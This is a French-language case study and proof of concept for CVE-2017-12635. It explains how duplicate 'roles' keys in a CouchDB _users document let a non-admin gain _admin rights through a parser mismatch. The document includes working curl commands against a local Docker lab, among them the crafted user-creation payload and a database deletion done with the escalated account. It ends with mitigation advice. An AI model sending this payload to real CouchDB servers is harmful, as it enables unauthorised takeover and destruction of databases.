
Étude de cas et POC de CVE-2017-12635 : Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Élévation de privilèges à distance
Étude de cas et PoC de CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - Élévation de privilèges à distance
Apache CouchDB est une base de données NoSQL orientée documents, implémentée en Erlang.
CouchDB utilise plusieurs formats et protocoles pour stocker, transférer et traiter ses données ; il utilise JSON pour stocker les données, JavaScript comme langage de requête avec MapReduce, et HTTP pour une API.
CouchDB peut être utilisé comme base de données à nœud unique ainsi que comme cluster.
En raison de la divergence entre le parseur JSON basé sur Erlang et le parseur JSON basé sur JavaScript, il existait une vulnérabilité dans CouchDB avant 1.7.0 et 2.x avant 2.1.1 permettant aux utilisateurs non administrateurs d'élever leurs privilèges en soumettant des documents _users avec des clés roles dupliquées utilisées pour le contrôle d'accès dans les bases de données, y compris le cas particulier du rôle _admin, qui désigne les utilisateurs administratifs.
Pour récapituler, la vulnérabilité permet aux utilisateurs non administrateurs de s'octroyer des privilèges d'administrateur.
Par défaut, CouchDB permet à n'importe qui d'effectuer n'importe quelle requête. Tout le monde a les privilèges pour tout faire.
CouchDB a la notion d'utilisateur administrateur (par exemple un administrateur, un super utilisateur ou root) qui est autorisé à tout faire sur une installation CouchDB. Par défaut, tout le monde est administrateur. Si cela ne vous plaît pas, vous pouvez créer des utilisateurs administrateurs spécifiques avec un nom d'utilisateur et un mot de passe comme identifiants.
CouchDB définit également un ensemble de requêtes que seuls les utilisateurs administrateurs sont autorisés à effectuer. Consultez la documentation officielle pour plus d'informations.
CouchDB possède une base de données d'authentification spéciale qui stocke tous les utilisateurs enregistrés sous forme de documents JSON.
CouchDB utilise une base de données spéciale (appelée _users par défaut) pour stocker les informations sur les utilisateurs enregistrés. C'est une base de données système – cela signifie que bien qu'elle partage l'API de base de données commune, certaines contraintes spéciales liées à la sécurité sont appliquées et des conventions sur la structure des documents sont utilisées.
Seuls les administrateurs peuvent GET, PUT ou DELETE un document dans la base de données _users.
Les utilisateurs ne peuvent accéder (GET /_users/org.couchdb.user:<username>) ou modifier (PUT /_users/org.couchdb.user:<username>) que les documents qu'ils possèdent.
Chaque utilisateur CouchDB est stocké au format document. Ces documents contiennent plusieurs champs obligatoires que CouchDB gère pour le processus d'authentification correct. Nous nous intéressons au champ roles.
Le champ roles est une liste de rôles utilisateur. CouchDB ne fournit aucun rôle intégré, vous êtes donc libre de définir les vôtres selon vos besoins. Cependant, vous ne pouvez pas y définir de rôles système comme _admin. De plus, seuls les administrateurs peuvent attribuer des rôles aux utilisateurs – par défaut, tous les utilisateurs n'ont aucun rôle.
CouchDB est écrit en Erlang, mais permet aux utilisateurs de spécifier des scripts de validation de documents en Javascript. Ces scripts sont automatiquement évalués lorsqu'un document est créé ou mis à jour. Ils démarrent dans un nouveau processus et reçoivent des documents sérialisés en JSON depuis le côté Erlang.
CouchDB envoie les fonctions et les documents à un interpréteur JavaScript. Ce mécanisme permet aux utilisateurs d'écrire des fonctions de validation de documents en JavaScript. La fonction validate_doc_update est exécutée pour chaque document créé ou mis à jour. Si la fonction de validation lève une exception, la mise à jour est refusée ; sinon, les mises à jour sont acceptées.
CouchDB utilise la fonction validate_doc_update pour empêcher les mises à jour de documents invalides ou non autorisées.
function(newDoc, oldDoc, userCtx, secObj) {...}
Arguments :
newDoc – Nouvelle version du document qui sera stockéeoldDoc – Version précédente du document déjà stockéuserCtx – Objet de contexte utilisateursrcObj – Objet de sécuritéLa fonction reçoit le nouveau document de la requête de mise à jour, le document actuel stocké dans la base de données, un objet de contexte utilisateur contenant des informations sur l'utilisateur qui écrit le document (si présent), et un objet de sécurité avec des listes de rôles de sécurité de la base de données.
L'analyseur JSON utilisé en interne par CouchDB est jiffy et celui utilisé dans les scripts de validation par JavaScript est JSON.
Le problème est qu'il existe une divergence entre JSON et jiffy lorsqu'il s'agit de clés dupliquées.
Pour une clé donnée, l'analyseur Erlang stockera les deux valeurs, mais l'analyseur Javascript ne stockera que la dernière.
Par exemple, analyser {"name":"John", "name":"Jane"} avec les deux analyseurs produira :
jiffy : {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON : {name: "Jane"}La fonction d'accès (getter) pour la représentation interne des données de CouchDB ne renverra que la première valeur.
Nous pouvons contourner toute la validation des entrées pertinente et créer un utilisateur administrateur en créant un utilisateur avec une clé roles dupliquée.
Voici à quoi ressemble le document du nouvel utilisateur : {..., "roles": ["_admin"], "roles": [], ...} .
La fonction d'accès pour la représentation interne des données de CouchDB ne renverra que la première valeur. Par conséquent, côté Erlang, nous nous verrons comme ayant le rôle _admin, tandis que côté Javascript, nous apparaîtrons sans permissions spéciales.
Heureusement pour l'attaquant, presque toute la logique importante concernant l'authentification et l'autorisation, en dehors du script de validation des entrées, se produit dans la partie Erlang de CouchDB.
Pour cette démonstration, nous utiliserons une image Docker du dépôt officiel couchdb. Nous avons besoin d'un client HTTP pour effectuer des appels API et nous utiliserons cURL pour cela.
N'importe quel système d'exploitation peut être utilisé pour cette démonstration.
Prérequis :
Voici les commandes à exécuter pour exploiter la vulnérabilité :
Créez un conteneur basé sur l'image officielle de couchdb
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
Nous avons choisi le tag 1.6.1 car la version 1.6.1 de CouchDB est vulnérable.
Assurez-vous que l'instance CouchDB est lancée et fonctionne
curl -X GET http://localhost:5984
Requête : Toutes les bases de données de l'instance
curl -X GET http://localhost:5984/_all_dbs
Requête : Créez une nouvelle base de données nommée records
curl -X PUT http://localhost:5984/records
Requête : Assurez-vous que la base de données records est créée
curl -X GET http://localhost:5984/_all_dbs
Nous pouvons obtenir, ajouter et même supprimer tous les enregistrements de l'instance CouchDB car une installation CouchDB par défaut fournit un accès de niveau administrateur à tous les utilisateurs qui se connectent. Cette configuration est connue sous le nom d'Admin Party. Nous pouvons mettre fin à la fête simplement en créant le premier compte administrateur.
Requête : Créez un compte administrateur avec les identifiants admin:admin
La démonstration a prouvé que n'importe quel utilisateur peut créer un compte avec le rôle administrateur et agir sur la base de données comme s'il était administrateur.
Nous pouvons distinguer deux types d'instances CouchDB :
Par défaut, une instance CouchDB peut être sollicitée par des utilisateurs anonymes. Pour garantir que toutes les requêtes autorisées proviennent uniquement d'utilisateurs authentifiés, nous pouvons définir require_valid_user sur true dans le fichier de configuration de la base de données. Ainsi, aucune requête n'est autorisée de la part d'utilisateurs anonymes, tout le monde doit être authentifié.
Voici quelques mesures à prendre afin d'empêcher les utilisateurs malveillants d'exploiter la vulnérabilité. Cela vaut pour tous les utilisateurs de CouchDB 1.x et 2.x qui ne sont pas sur 2.1.1 ou ultérieur, ou 1.7.1 ou ultérieur.
Instances CouchDB publiques :
require_valid_user et si vous faites confiance à tous vos utilisateurs avec un accès administrateur de base de données et un accès shell au serveur : il n'y a aucun problème.Instances CouchDB internes :
require_valid_user et si vous faites confiance à tous vos utilisateurs avec un accès administrateur de base de données et un accès shell au serveur : il n'y a aucun problème.require_valid_user et si vous faites confiance à tous vos utilisateurs avec un accès administrateur de base de données et un accès shell au serveur : activez require_valid_user.API : Une interface de programmation d'application (API) est une interface ou un protocole de communication entre différentes parties d'un programme informatique destiné à simplifier l'implémentation et la maintenance des logiciels.
Erlang : Erlang est un langage de programmation fonctionnel, concurrent et polyvalent, ainsi qu'un système d'exécution avec ramasse-miettes.
HTTP : Le Hypertext Transfer Protocol (HTTP) est un protocole applicatif pour les systèmes d'information hypermédias distribués et collaboratifs. HTTP est le fondement de la communication de données pour le World Wide Web, où les documents hypertextes incluent des hyperliens vers d'autres ressources que l'utilisateur peut facilement consulter.
JSON : JavaScript Object Notation (JSON) est un format de fichier standard ouvert ou un format d'échange de données qui utilise du texte lisible par l'humain pour transmettre des objets de données composés de paires attribut-valeur et de types de données tableau (ou toute autre valeur sérialisable). C'est un format de données très courant, avec une gamme variée d'applications, comme servir de remplacement à XML dans les systèmes AJAX.
MapReduce : MapReduce est un modèle de programmation et une implémentation associée pour traiter et générer de grands ensembles de données avec un algorithme parallèle et distribué sur un cluster.
NoSQL : Une base de données NoSQL fournit un mécanisme de stockage et de récupération de données modélisées autrement que par les relations tabulaires utilisées dans les bases de données relationnelles.
PoC : Une preuve de concept (PoC) est une réalisation d'une certaine méthode ou idée afin de démontrer sa faisabilité, ou une démonstration de principe visant à vérifier qu'un concept ou une théorie a un potentiel pratique.
Élévation de privilèges : L'élévation de privilèges est l'acte d'exploiter un bug, une faille de conception ou un oubli de configuration dans un système d'exploitation ou une application logicielle pour obtenir un accès accru à des ressources qui sont normalement protégées contre une application ou un utilisateur.
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
Requête : Créez une nouvelle base de données nommée new_records
curl -X PUT http://localhost:5984/new_records
Oups ! Nous ne pouvons plus créer de nouvelle base de données car l'Admin Party est terminée dès que le premier compte administrateur a été créé.
Requête : Créez une nouvelle base de données nommée new_recors avec l'authentification administrateur
curl -X PUT http://admin:admin@localhost:5984/new_records
Requête : Créez un nouveau document dans la base de données _users
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
Ici, nous pouvons créer un nouveau document dans la base de données _users, mais avec des restrictions sur ses arguments.
Nous pouvons contourner les restrictions en dupliquant le champ roles comme expliqué précédemment.
Requête : Supprimez la base de données nommée new_records
curl -X DELETE http://localhost:5984/new_records
Oups ! Nous ne pouvons pas car nous n'avons pas le rôle administrateur.
Requête : Supprimez la base de données nommée new_records avec l'authentification invité
curl -X DELETE http://guest:guest@localhost:5984/new_records
Bingo ! Nous avons supprimé la base de données même si le compte invité est créé en tant qu'utilisateur normal.